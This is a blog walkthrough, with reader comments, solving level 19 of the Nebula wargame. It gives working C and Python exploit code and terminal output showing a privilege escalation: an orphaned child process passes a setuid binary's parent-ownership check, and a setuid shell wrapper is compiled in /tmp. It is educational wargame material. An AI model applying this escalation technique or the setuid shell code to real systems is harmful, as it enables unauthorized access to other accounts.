Lets see how to solve level [19] in Nebula. The code given checks whether its parent process is root using /proc entry.
exploit19.c
exploit19.c
int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }This can be solved with little understanding about process management in linux. When a parent process exists before the child process returns, the child becomes an orphan process. It is inherited by init process with pid 1 and owned by root. We will use this concept for this challenge. The idea is to fork a child, put it into sleep. When the parent finishes execution, child(orphan) process calls execve() to execute the setuid flag19 binary.
exploit19.c
#include <stdio.h> #include <unistd.h> int main(void) { pid_t child; char *file = "/home/flag19/flag19"; char *arg[] = {"/bin/sh", NULL}; child = fork(); if(child == (pid_t) 0) { sleep(3); if(getppid() == (pid_t) 1) { printf("Orphan...\n"); execve(file, NULL, NULL); } } else return 0; }I was expecting to get a privilege shell but that didnt happen. Everytime I ran the exploit, shell is launched but I was not able to interact with it.
level19@nebula:/tmp$ ps PID TTY TIME CMD 4951 pts/0 00:10:00 sh 5300 pts/0 00:00:20 sh 5323 pts/0 00:00:00 sh 5327 pts/0 00:00:00 ps level19@nebula:/tmp$ ./a.out level19@nebula:/tmp$ Orphan.... level19@nebula:/tmp$ ps PID TTY TIME CMD 4951 pts/0 00:10:00 sh 5300 pts/0 00:00:21 sh 5323 pts/0 00:00:00 sh 5329 pts/0 00:00:00 sh 5330 pts/0 00:00:00 ps level19@nebula:/tmp$On googling, it seems that the shell launched from orphaned process cannot interact with a terminal. So we need a work around for this. This is the final exploit
exploit19.c
#include <stdio.h> #include <unistd.h> int main(void) { pid_t child; char *file = "/home/flag19/flag19"; char *arg[] = {"/bin/sh", "-c", "gcc -o /tmp/sys /tmp/sys.c;chmod 4770 /tmp/sys", NULL}; char *env[] = {"PATH=/bin:/usr/bin",NULL}; child = fork(); if(child == (pid_t) 0) { sleep(3); if(getppid() == (pid_t) 1) { printf("Orphan...\n"); execve(file, arg, env); } } else return 0; }sys.c
int main(void) { setresuid(geteuid(), geteuid(), geteuid()); system("/bin/sh"); return 0; }
level19@nebula:/tmp$ gcc -o exploit19 exploit19.c level19@nebula:/tmp$ ./exploit19 level19@nebula:/tmp$ Orphan... level19@nebula:/tmp$ ./sys sh-4.2$ id uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19) sh-4.2$ getflag You have successfully executed getflag on a target account sh-4.2$
You can get directly a shell provided that:
ReplyDelete- you take care of its input channel (keep it open). You only need to run your exploit in this way:
cat | ./exploit19
- arg0 in execv is "sh". Otherwise, since /bin/sh is linked to /bin/bash, bash will drop privileges (another choice is launch with "-p").
My full solution in Python:
level19@nebula:~$ cat l19local.py
import os, time
def child():
print 'Child ', os.getpid()
time.sleep(1)
# Important: arg0 should be "sh". Otherwise, since sh is linked to bash, bash will drop privileges
print "Running shell..."
os.execv("/home/flag19/flag19", ('sh',))
def parent():
newpid = os.fork()
if newpid == 0:
child()
else:
pids = (os.getpid(), newpid)
print "parent: %d, child: %d" % pids
parent()
level19@nebula:~$ cat | python l19local.py
parent: 14178, child: 14179
Child 14179
Running shell...
id
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
uname -a
Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
VoilĂ :)
awesome solution. Thanks for sharing :)
ReplyDelete